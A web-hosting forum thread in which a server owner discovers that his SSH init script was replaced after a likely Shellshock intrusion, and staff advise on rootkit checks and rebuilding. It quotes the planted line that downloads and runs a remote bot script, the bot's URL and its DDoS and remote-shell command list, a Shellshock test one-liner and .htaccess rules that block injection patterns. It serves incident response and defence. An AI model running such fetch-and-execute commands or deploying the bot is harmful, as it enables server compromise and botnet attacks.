Reboot of Rackspace Lenny VPS server causes SSH Service to stop working

19 posts / 0 new
Last post
#1 Sun, 10/05/2014 - 17:15
monkeymagix

Reboot of Rackspace Lenny VPS server causes SSH Service to stop working

I have suddenly since a soft reboot on a Rackspace VPS today experienced a weird problem where the SSH Service stops and gives me a file missing error.

Only re-creating an "empty" text file in the location /tmp/sh gets it working again.

I have tried using the start service button but this doesn't do anything but say

"sh: /tmp/sh: No such file or directory"

I tried re-installing the SSH package and SSH2 and ensuring Java was working with my system but everytime I reboot this file disappears and SSH stops and I have to re-create this empty text file to get SSH (SFTP and console access) working again.

You can see more details in this support ticket I posted > https://www.virtualmin.com/comment/reply/34428/138216

However -I know I am on Lenny and need an upgrade however I just need the time to move all the files across -This has never happened in 2+ years of hosting -This only started today after another "busy" client on the VPS caused disk swapping issues. -A reboot kills SSH every time -Only creating the empty file lets me restart the service -I have installed SSH2 as well

I tried all the commands e.g

/etc/init.d/ssh restart sh: /tmp/sh: No such file or directory /etc/init.d/sshd restart bash: /etc/init.d/sshd: No such file or directory service ssh restart bash: service: command not found service sshd restart bash: service: command not found

Only this file seems to be the key to solving the issue.

What I need to know is why?

any help much appreciated

Thanks

Rob

Mon, 10/06/2014 - 09:23
andreychek

Howdy,

I unfortunately haven't run into an issue like that before, and what you're describing sounds concerning... starting your services should not rely on a file in /tmp existing.

Could you add your "/etc/init.d/ssh" file as an attachment to this thread? You may need to give it a ".txt" extension in order for Drupal to allow it to be attached.

Thanks!

-Eric

Mon, 10/06/2014 - 09:23
andreychek

Also, what is the output of this command:

ls -l /etc/init.d/ssh

Mon, 10/06/2014 - 17:59
monkeymagix

The output (with SSH now running after me creating this empty file) says

-rwxr-xr-x 1 root root 4000 Oct 5 08:37 /etc/init.d/ssh

Obviously if I reboot, the file at /tmp/sh (the empty one) just breaks SSH so the results maybe different then.

I looked in that config file and it really concerns me, I know PHP and a tiny bit of PERL/BASH but more C# .NET but from the file it looks like it is calling wget to a remote server with this line

wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh

at the bottom which then calls a script on that URL

http://stablehost.us/bots/regular.bot

that loads this all in which from the comments looks dodgy due to the mentions of spoofing URLS in the comments. Maybe I don't know how SSH works but I am guessing somehow during the time of my last reboot (why it happened during a reboot I don't know, unless it meant the code had been changed then the program re-started on re-booting) is loading in code from this page which has loads of functions and code on it.

http://205.237.100.170/manual/a.c

which a reverse DNS resolves to 205.237.100.170 resolves to "host170.205.237.100.conversent.net" Top Level Domain: "conversent.net"

So I am guessing this is an exploit from a first look e.g comments at the top of the final file

TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command    

If this is a corrupt file can someone tell me where I can get a proper config file to replace it, what to do to stop this (I run DENYHOSTS, Ban 60% of my traffic - all Russian IPS, China, Israel, Brazil etc) plus empty user-agents, short ones, gibberish and a whole myriad of BOT names.

How would they have got into my system and what can I do to stop this from happening and what should the file at /etc/sh be?

I read some links about exploits which mentioned that error message e.g

http://www.linux.org.ru/news/kernel/1487942 http://lists.openwall.net/full-disclosure/2006/07/14/12

So is this the case and what can I block to fix it?

Also what file should I replace the one in /etc/init.d/ssh with?

Thanks for your help

Mon, 10/06/2014 - 18:20
monkeymagix

If I use WebMin and go to SSH Server and edit config file (/etc/ssh/sshd_config )

It gives me this

# Package generated configuration file
# See the sshd(8) manpage for details

# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
#PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

UsePAM yes

Which is obviously different to the file I get from /etc/init.d/ssh.

So I don't know what file is running but I guess the reboot causes this exploit code to be run.

What CHMOD changes can I do What file can I replace the corrupt one with What else should I delete in case they have loaded something What should I run to check for hidden exploits in my system I am thinking of changing my SSH port as well to another number.

From reading those exploit articles it looks like it is a hack using cron to run. Do I need to check for a new cron job to delete.

Anything else ?

I have added the IP address of the website the code is loaded from to my firewall and Denyhosts.

I know I need to move to a safer server it's just time I don't have right now but it's on the plan.

Any help to solve this would be much appreciated as I can see other people have been affected by this as well.

Thanks

Mon, 10/06/2014 - 19:15
monkeymagix

I've deleted that file that looked like a hack which seems to have been created at 5:00 am yesterday morning which would seem to tally with why a reboot in the mid morning stopped my server.

I have deleted the file at that location but that now means I cannot stop the SSH server as it says the same error e.g sh: /etc/init.d/ssh: No such file or directory

I also tried to change the port in the main config file that webmin lets you edit (see above) and change the port from 20 to something else e.g 2021 and hit "apply changes" however even though I added this port to my SFTP and SSH Putty config I couldn't SSH or SFTP into my server.

Removing the line and going back to 22 fixed that.

Is there somewhere else I need to do this to change the port?

The code looks like a denial of service attack code hidden behind a stupid website > http://stablehost.us/ which I have blocked but obviously I want to know how they got the code onto my system.

Also WHY is there SO many places SSH config or settings exist on a server?

What files do I need to replace or edit/add and where can I get them a re-install of the SSH or SSH2 webmin packages don't seem to fix the missing files What do I need to put in the location that complains about no file/directory at /etc/init.d/ssh: ?? How can I change the port to obfuscate it AND still get my SFTP and SSH tunnels working What can I do to stop these people adding files straight onto my server in the manner they have been doing as I don't want any DOS attacks happening.

Got to go to bed - spend all my Birthday (today) trying to sort this mess out Plus a Remote Deskstop Open VPN issue with my laptop to work PC.

Any help would be appreciated.

Thanks

Rob

Tue, 10/07/2014 - 00:14
andreychek

Howdy,

Unfortunately, it does indeed look like your server has been compromised. Also, seeing which files have been modified, that means the intruders have root access to your server.

I hate to be the bearer of bad news -- but that's not a simple problem to fix.

It can be difficult, if not impossible, to undo everything that an intruder with root access has done.

Regarding your question of "how did they get in?" -- while it's hard to be sure, it's very likely an issue related to your distro, as it has reached it's end of life.

There are numerous unpatched vulnerabilities for the distro you're using... some of which are quite serious.

For example, the Bash exploit that came out last week would allow a remote user to run any command they want on your server, as any of your website owners. There isn't a patch for that issue in Debian Lenny.

Now is the tough question though, what to do next... that's a bit of a pickle you have there -- since they have root access, the only real way to know you've locked the intruders out would be to migrate to another server.

They could have modified any of the files on your server, installed rootkits, or performed other tasks that would allow them to regain access to your server, even if you fix the SSH issue you ran into.

My suggestion would be to take your Virtualmin Virtual Server backups, and import those into Virtualmin, on a freshly installed operating system.

Once you restore those backups, I would then change all the passwords of all the Virtual Server owners on your system, as well as all the email users.

At that point, we're crossing our fingers that they didn't install something into one of your Virtual Servers that would enable them to regain access, and escalate their privileges to root. One thing you may want to do is look for any files in /home that are SUID or SGID root.

I know that's a lot, but it's a pretty serious issue you're seeing there, and due to the number of active vulnerabilities on the distro you have there, and with malicious users having root access to your server, that's really the only way to get back to a safe state for your server.

-Eric

Tue, 10/07/2014 - 02:17
Mr5o1

@monkeymagix: I salute you for posting so much detail @andreycheck: thanks for helping us out

I have the same problem. Basically I became aware earlier today that one of my server's had gone down. My host provider said they weren't sure why but it had been suspended, possibly due to spam (although I feel that's the catch-all answer when they're not sure). They re-activated it, and I found that ssh wouldn't come up for the same reason as monkeymagix (sh: /tmp/sh: No such file or directory). That's when I found this thread (via google) and checked my /etc/init.d/ssh to find it has exactly the same wget call's as monkeymagix also.

ls -l /etc/init.d/ssh returns: -rwxr-xr-x 1 root root 3994 Oct 4 07:06 /etc/init.d/ssh

Of additional concern is that I'm running Squeeze: Debian GNU/Linux 6.0.9 (squeeze)

However, it seems that somehow I missed this server when patching my vps' for the shellshock vulnerability.

Tue, 10/07/2014 - 07:13
monkeymagix

As I cannot upgrade the server yet this is what I did.

Basically the hacker has overwritten the SSH config script to his own which loads in a script using wget from his remote server (a site hidden behind a car site > http://stablehost.us/) and then outtputted it to /tmp/sh with this command to that location that was mentioned trying to start the server e.g

wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh

this is why I couldn't get SSH to start without a file being there.

The code he is loading seems to be just a botnet waiting for commands to be sent out.

Fixes - Quick!

These are the things I did (without upgrading - yet!!)

To test the vulnerability in bash

env x='() { :;}; echo vulnerable' dash -c "echo this is a test"

So I turned bash off n installed dash, replaced the default shell for root and any other users to another folder with symbolic links

I then removed AW stats n Webalizer for all virtual mins

I then disabled any cgi-bin commands in all apache config e.g

#ScriptAlias /cgi-bin/ /home/searchmysite/cgi-bin/

#<Directory /home/searchmysite/cgi-bin>
#allow from all
#</Directory>

I changed all my logins for users and my root password

I checked my user table for any users that looked out of place (none there)

I checked my home folder for any files that shouldn't be there (none there)

I checked if anyone was logged in as root with ps ax

I tried to run a load of scans from web based sites that check for vulnerabilities e.g

https://shellshocker.net/ http://shellshocktest.com/

Although in my .htaccess file I ban CURL,WGet and default user-agents for HTTP libraries as they are usually used by hackers/script kiddies so if they don't supply an agent I block them, helps with performance and bandwidth but can block a lot of these online test scripts.

I also have a lot of rules for looking for SQL injection / XSS plus WP plugins for firewalls/login counts etc

e.g (an example of a few rules)

RewriteCond %{QUERY_STRING} (%3C|<)/?script(%3E|>)    [NC,OR]
RewriteCond %{QUERY_STRING} (eval\(|document\.|\.cookie|createElement)    [NC,OR]
RewriteCond %{QUERY_STRING} DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\)    [NC,OR]
RewriteCond %{QUERY_STRING} ^/+\?.*sys.?(?:objects|columns|tables|[xs]p_|exec|shell)    [NC,OR]
RewriteCond %{REQUEST_URI} ^\/\/?(owssvr|strmver|Auth_data|redirect\.adp|MSOffice|DCShop|msadc|winnt|system32|script|autoexec|formmail\.pl|_mem_bin|NULL\.) [NC,OR]
RewriteCond %{REQUEST_URI} ^\/\/?(php\-?my\-?admin\-?\d?|P\/?M\/?A(\d+)?|(db|web)?(admin|db|sql)|(my)?sql\-?(admin|manager|web)?)/? [NC]
RewriteRule .* - [F,L]

So I had to remove those lines first.

And for the config file he had overwritten I changed it back to this one I was given from a sysadmin

#! /bin/sh

### BEGIN INIT INFO
# Provides: sshd
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: OpenBSD Secure Shell server
### END INIT INFO

set -e

# /etc/init.d/ssh: start and stop the OpenBSD "secure shell(tm)" daemon

test -x /usr/sbin/sshd || exit 0
( /usr/sbin/sshd -\? 2>&1 | grep -q OpenSSH ) 2>/dev/null || exit 0

export SSHD_OOM_ADJUST=-17
if test -f /etc/default/ssh; then
    . /etc/default/ssh
fi

. /lib/lsb/init-functions

if [ -n "$2" ]; then
    SSHD_OPTS="$SSHD_OPTS $2"
fi

# Are we running from init?
run_by_init() {
    ([ "$previous" ] && [ "$runlevel" ]) || [ "$runlevel" = S ]
}

check_for_no_start() {
    # forget it if we're trying to start, and /etc/ssh/sshd_not_to_be_run exists
    if [ -e /etc/ssh/sshd_not_to_be_run ]; then
if [ "$1" = log_end_msg ]; then
    log_end_msg 0
fi
if ! run_by_init; then
    log_action_msg "OpenBSD Secure Shell server not in use (/etc/ssh/sshd_not_to_be_run)"
fi
exit 0
    fi
}

check_dev_null() {
    if [ ! -c /dev/null ]; then
if [ "$1" = log_end_msg ]; then
    log_end_msg 1 || true
fi
if ! run_by_init; then
    log_action_msg "/dev/null is not a character device!"
fi
exit 1
    fi
}

check_privsep_dir() {
    # Create the PrivSep empty dir if necessary
    if [ ! -d /var/run/sshd ]; then
mkdir /var/run/sshd
chmod 0755 /var/run/sshd
    fi
}

check_config() {
    if [ ! -e /etc/ssh/sshd_not_to_be_run ]; then
/usr/sbin/sshd -t || exit 1
    fi
}

export PATH="${PATH:+$PATH:}/usr/sbin:/sbin"

case "$1" in
  start)
check_privsep_dir
check_for_no_start
check_dev_null
log_daemon_msg "Starting OpenBSD Secure Shell server" "sshd"
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;
  stop)
log_daemon_msg "Stopping OpenBSD Secure Shell server" "sshd"
if start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/sshd.pid; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;

  reload|force-reload)
check_for_no_start
check_config
log_daemon_msg "Reloading OpenBSD Secure Shell server's configuration" "sshd"
if start-stop-daemon --stop --signal 1 --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;

  restart)
check_privsep_dir
check_config
log_daemon_msg "Restarting OpenBSD Secure Shell server" "sshd"
start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile /var/run/sshd.pid
check_for_no_start log_end_msg
check_dev_null log_end_msg
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;

  try-restart)
check_privsep_dir
check_config
log_daemon_msg "Restarting OpenBSD Secure Shell server" "sshd"
set +e
start-stop-daemon --stop --quiet --retry 30 --pidfile /var/run/sshd.pid
RET="$?"
set -e
case $RET in
    0)
# old daemon stopped
check_for_no_start log_end_msg
check_dev_null log_end_msg
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;
    1)
# daemon not running
log_progress_msg "(not running)"
log_end_msg 0
;;
    *)
# failed to stop
log_progress_msg "(failed to stop)"
log_end_msg 1
;;
esac
;;

  status)
status_of_proc -p /var/run/sshd.pid /usr/sbin/sshd sshd && exit 0 || exit $?
;;

  *)
log_action_msg "Usage: /etc/init.d/ssh {start|stop|reload|force-reload|restart|try-restart|status}"
exit 1
esac

exit 0

Installed Fail2Ban but that caused me issues getting my emails from my server to Thunderbird - will re-visit it - already have DenyHosts but would like an automatic script that checked access/error log files and added the IPs into IPTables if possible to block DOS, heavy hitters, scrapers, hackers and spammers etc.

So that is what I have done so far and I will be upgrading to a new server - I could see from a file search he had put that file /tmp/sh in at Sunday 5am. The next reboot was the time I couldn't stop/start SSH. So I guess that was the time he got in.

I was going to change the SSH port but then he could just run a port scanner and it would make life more difficult anyway.

Tue, 10/07/2014 - 07:14
monkeymagix

What is up with this forums formatting?

The config file was just a plain text file but has been put all on one line and is all different font sizes etc.

Tue, 10/07/2014 - 10:01
andreychek

Howdy,

The default format method is "Markdown" (configurable in the "Input Format" section underneath the textarea where you enter your comment).

I corrected the formatting for your posts above now by adding <code> and </code> tags surrounding text that required special formatting.

Regarding the server breakin -- sounds like you've made some progress!

I understand that migrating to a new server takes time, and that is an issue... just remember though that if a rootkit was installed, then the commands on your server may not be trustworthy.

For example, a rootkit could replace the "ps" command so that it hides the processes of a malicious user. So it's not possible to know for sure that no one else is logged into your system now.

I've also seen SSH modified so that it captures the passwords of everyone who authenticates.

If the attacker doesn't want to modify the system files, they could instead install a kernel module to hide their activity, which is even harder to detect.

I'm not saying they've done any of that -- but I am offering that it's really difficult to know whether or not they have... and with that in mind, I'd suggest moving to a new server as soon as possible.

In the meantime -- it certainly can't hurt to try a tool such as "debsums" to see if there are any files that have been obviously modified.

-Eric

Tue, 10/07/2014 - 15:51 (Reply to #11)
monkeymagix

Yes I get that they could be clever little Russian Mafioso types who hack for cash, the likelihood though is that it's a script kiddy (hopefully) who has just picked up a DOS script (from me looking at the code) and installed using the exploit for later use in future hacks - maybe a WikiLeak revenge DDOS attack etc.

From looking through sys.log I couldn't see anything more worrying since the 5am date the file was put there except for access to an old VS I set up called server-proxy. This had no website but I could see them attempting to set files and fail. Whether this was the attacker or not I don't know.

Only file for sure I know they got was the config file for ssh in etc/init.d/ what I didn't see was any changes when you went to the SSH server in VMIN/webmin and then Servers > SSH > Edit Config as that file was ok. So I am confused as to why there are so many different places for config files?

I guess me putting the empty file in that location prevented them from re-downloading their hack code as it was checking for the existence of the code at the location before running wget to one location then wget to another. As no useragent was passed in the wget commands it sounds like they didn't care about obfuscation which would be one thing I would definitely do to hide my tracks e.g pretend my call was a Firefox browse of the site.

I doubt you can ask the "Internet Police" to get a site taken down for hiding malicious code on their site (hidden) that is used in attacks (proven) ?? Maybe a call to abuse@domain?

I am planning on moving servers but so far from viewing their code it looks like more script kiddies using downloaded code to use for DOS attacks with my server as an unwitting host.

I will check into any tools you suggest and as I said when I ran a lot of the exploit testers after changes they came back clear e.g using Referer/Cookie hacks to inject code in params etc.

I wish it was easier to get a new server upgraded with a few clicks to a new version etc with no downtime, DNS changes, IP, Emai & VS setups and if there was a script that could take an image from an old machine and load it onto a new one setting everything up before with validity checks for rootkits and hidden files etc then please let me know.

I could only do what I could do today, seeing I needed sites up and the quickest way of locking them out but agree only a server move will be the best solution.

And people used to say MACs and LINUX machines never got hacked!

Mon, 10/13/2014 - 17:19
monkeymagix

By the way, andyreycheck asked me what the output of

ls -l /etc/init.d/ssh

was on my server and I said

-rwxr-xr-x 1 root root 4000 Oct 5 08:37 /etc/init.d/ssh

today I ran it and it is

-rwxr-xr-x 1 root root 3710 Oct 12 04:55 /etc/init.d/ssh

The file when edited is still the clean default one I replaced the hacked version with.

However what does the date mean e.g 04:55?

Does it mean someone is trying to edit that file?

Also what should the CHMOD values be for this file?

Also today I went to my Webmin panel to check a CRON job and it now says

The command crontab for managing user Cron configurations was not found. Maybe Cron is not installed on this system?

Is this because the application relied on CGI and I disabled all the CGI commands in the files I listed e.g

#ScriptAlias /cgi-bin/ /home/searchmysite/cgi-bin/

#<Directory /home/searchmysite/cgi-bin>
#allow from all
#</Directory>

The jobs seem to be still running so CRON is not "gone" as I use it to run WordPress CRON jobs on a 10 minute cycle instead of their mad once every page hit system plus to run jobs to send out emails and other features.

However I would like to be able to see the CRON jobs in the nice WebMin table format - is that possible?

Also I know my techie mate did something to stop shell being run OR something like that. When I try and change from dash to bash with

/usr/bin/env bash

and then try and see if crontab is running with commands like

chkconfig crond on

I get back

bash: chkconfig: command not found

I tried

ps aux | grep crond

But no cron processes were running. Maybe because of the timings?

Looking in /etc/init.d/ I can see cron but not crond or crontab etc.

Do I need to re-install the module?

Or is it purely because it runs off cgi and I disabled all those commands in Apache config that it now will not work and therefore it's impossible to have it work AND not leave my system vulnerable to another attack?

Thanks for any help

Rob

Mon, 10/13/2014 - 23:06
andreychek

Howdy,

However what does the date mean e.g 04:55?

That means that someone edited that file at 4:55AM on October 12th. If you didn't have an admin performing maintenance at that time, that may mean that you still have malicious users modifying that file.

Also what should the CHMOD values be for this file?

All the files in /etc/init.d should be the same -- they are typically "chmod 755".

The command crontab for managing user Cron configurations was not found. Maybe Cron is not installed on this system?

Cron, and Webmin's Cron module, doesn't rely on CGI. If you're getting that error, that means the "crontab" command isn't installed or functioning (although it should normally come by default with the "cron" package).

-Eric

Tue, 11/11/2014 - 20:19
monkeymagix

Thanks for your comments.

The thing is CRONTAB or the interface in WebMin that showed all my CRON jobs in a visual manner and allowed me to edit, delete, add etc used to be there and now it's not.

It seemed to disappear around the same time as this hack issue happened which is why I thought it was related to the attack. I did read somewhere that some hack relied upon a CRON job being used to initiate the hack so I thought it was all related.

Anyway do you know how can I get it back as it was very useful? Do I need to use aptget or install a webmin module as I have tried looking for webmin modules called CronTab but none are listed.

Also regarding the files I re-ran

ls -l /etc/init.d/ssh

and got back

-rwxr-xr-x 1 root root 4000 Oct 5 08:37 /etc/init.d/ssh

Which is exactly the same value as before so I guess no-one has been able to edit that file since that date.

Any other ideas on locking down the server without having to upgrade - got lots of work to do before I have time for that.

Tue, 11/11/2014 - 22:07
Joe
Joe's picture

Just to chime in on this, and to agree with Eric: Once a system has been rooted, you cannot trust it any longer. Root kits can be extremely effective at covering their tracks. In this case, the tracks are not well-hidden...as far as we can tell. But, it's literally impossible to know in this circumstance whether there are other hidden programs that will continue to serve the attacker.

Without being able to boot up a known trusted read-only OS (i.e. a bootable Linux DVD with the appropriate tools for checking for these kinds of things), you can never know whether you can trust the system to tell you the truth about what's happening.

That said, I've cleaned up exploited systems in the past. It may be possible to limp along for a while before moving to a new system. I'm not recommending it, but if the show must go on...here's what I'd do:

rkhunter first. http://rkhunter.sourceforge.net/

That'll find the dumb ones. The stuff that's too stupid to take advantage of its root privileges to hide itself effectively. Finding things with rkhunter on the first past might actually be a good thing, on a known exploited system, as it might mean your attacker didn't really care about being caught; they just wanted a machine to abuse as part of their bot net for a little while. (That's what that IRC bot was about. It was listening for commands to take part in whatever nefarious thing your attacker uses their botnet for...usually spam and DDoS).

From there, you'll need to verify your system tools, as best you can. On CentOS/RHEL/Fedora you can use rpm -Va to check the signature of every file installed from RPMs. I don't remember off-hand how to do this on Ubuntu/Debian, but I'm sure dpkg/apt-get has a way to do it. This could be thwarted by the attacker using RPMs to install their software, but I've rarely seen that done. And, in your case, we see a source program being downloaded and installed, so maybe they aren't using packages. You could also make a list of signatures (sha1 or md5 or whatever) on a known good installation of your OS/version and compare them in a shell script. Programs that are prone to rootkit nastiness are ls, ps, gcc, top, passwd, ssh, anything that is setuid.

That'll let you see what's broken (maybe). You may need to upload known good versions of your signature generating tool (md5sum or sha1sum), as well as other tools, in order to have some level of confidence it's actually telling you the truth (maybe they've thought of this vector for identifying exploited files).

From there, assuming you actually find the stuff that's exploited, it's a matter of replacing the files with known good versions. You may have to remove the immutable bit in order to do so...and the system may prevent you from doing so, if it's been well-rooted. In such a case, booting from a read only Linux system disk may be the only way to recover the system.

rootkits are awful to clean up. Staying on top of security updates, keeping good and regular backups, and using really strong passwords (or keys or two-factor authentication, or all three), are the only way to insure that even when an exploit does come along, and the attackers get there before you do, you can recover from it without a huge amount of pain.

--

Check out the forum guidelines!

Mon, 01/19/2015 - 09:48
monkeymagix

Hi

Does anyone know how I can get my visual CronTab manager back in Webmin please?

I don't know if it was part of the hack of me disabling CGI but the Cron jobs are still working it's just I cannot visually see them in WebMin and when I go to the menu for it, it says "The command crontab for managing user Cron configurations was not found. Maybe Cron is not installed on this system?"

Even though I can see it is in the system, the job are still running but when I run

crontab -l

I get "permission denied" in the console

or when I try a users name e.g

crontab -u someuser -l

I get "permission denied" in the console

And whoami returns root.

I don't know where or how this tool has gone but it looks like the permissions have probably been reset somehow to prevent me getting at it.

Looking at the users with cut -d : -f 1 /etc/passwd doesn't show anything out of the ordinary and when I run "w" I just get myself as root logged in running the "w" command.

So I don't know what has caused CronTab (visual) to go away from WebMin but I would like it back as I hate editing files in the console.

Any help would be much appreciated

Thanks

Mon, 01/19/2015 - 10:11
andreychek

Howdy,

Yeah it sounds like something is wrong with your crontab command. Something like that could happen if root were compromised, and it's difficult to know if it's safe to use that command.

However, what is the output of this command:

ls -l \`which crontab\`
Mon, 01/19/2015 - 11:19
monkeymagix

Hi

The output is

ls: cannot access which: No such file or directory ls: cannot access crontab: No such file or directory

But I know the cron jobs are still working as one of them is to send emails out each morning and I am still getting the emails.

Any ideas of re-installing it?

Thanks